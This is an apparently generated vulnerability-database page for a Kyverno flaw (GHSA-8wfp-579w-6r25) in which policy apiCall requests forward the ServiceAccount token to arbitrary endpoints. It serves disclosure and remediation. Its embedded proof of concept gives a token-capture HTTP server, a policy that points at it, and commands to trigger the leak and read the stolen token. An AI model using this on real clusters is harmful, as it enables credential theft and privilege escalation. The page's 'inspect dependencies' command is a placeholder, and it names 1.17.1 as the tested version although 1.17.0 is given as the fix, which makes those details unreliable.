GHSA-8wfp-579w-6r25: Github.com/kyverno/kyverno Kyverno ApiCall Automatically Forwards ServiceAccount Vulnerability

HIGH
CVSS 7.7
CWE-522 CWE-200
Published
Advisory Summary

GHSA-8wfp-579w-6r25 is a HIGH (CVSS 7.7) kyverno apicall automatically forwards serviceaccount vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno apicall automatically forwards serviceaccount token to external endpoints (credential leak). Remediation is available by upgrading affected packages to version 1.17.0.

GHSA-8wfp-579w-6r25 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8wfp-579w-6r25
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-8wfp-579w-6r25

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: 1.17.0
Upgrade github.com/kyverno/kyverno to 1.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by GHSA-8wfp-579w-6r25, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiCall: method: GET service: url: "http://capture.default.svc:8888" jmesPath: "@" ``` --- #### Step 3 — Trigger ```bash kubectl run test --image=nginx ``` --- #### Step 4 — Observe token ```bash kubectl logs capture ``` Output: ``` Authorization: Bearer <SA_TOKEN> ``` --- ### Impact #### Vulnerability class - Credential exposure / leakage #### Impact details - Exposure of Kubernetes ServiceAccount token - Token grants: - Full control over Kyverno policies - Ability to create/delete webhooks - Read cluster-wide resources - Privilege escalation and persistence

GHSA-8wfp-579w-6r25 Affected Github.com/kyverno/kyverno Versions

1 component(s)
Fixed Versions:
1.17.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
< 1.17.0
1.17.0

References

Frequently Asked Questions

What is GHSA-8wfp-579w-6r25?
GHSA-8wfp-579w-6r25 is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) under CWE-522: Insufficiently Protected Credentials.
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to 1.17.0 across affected packages: github.com/kyverno/kyverno.
What version fixes GHSA-8wfp-579w-6r25?
Upgrading to 1.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to 1.17.0. Upgrade your dependency to 1.17.0 or later.
What is the CVSS score of GHSA-8wfp-579w-6r25?
GHSA-8wfp-579w-6r25 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-8wfp-579w-6r25?
GHSA-8wfp-579w-6r25 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check Go dependencies for GHSA-8wfp-579w-6r25?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8wfp-579w-6r25",
  "modified" : "2026-04-16T21:37:29Z",
  "published" : "2026-04-16T21:37:29Z",
  "aliases" : [ ],
  "summary" : "Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)",
  "details" : "### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer <token>\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get('Authorization'), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer <SA_TOKEN>\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T21:37:29Z",
    "nvd_published_at" : null
  }
}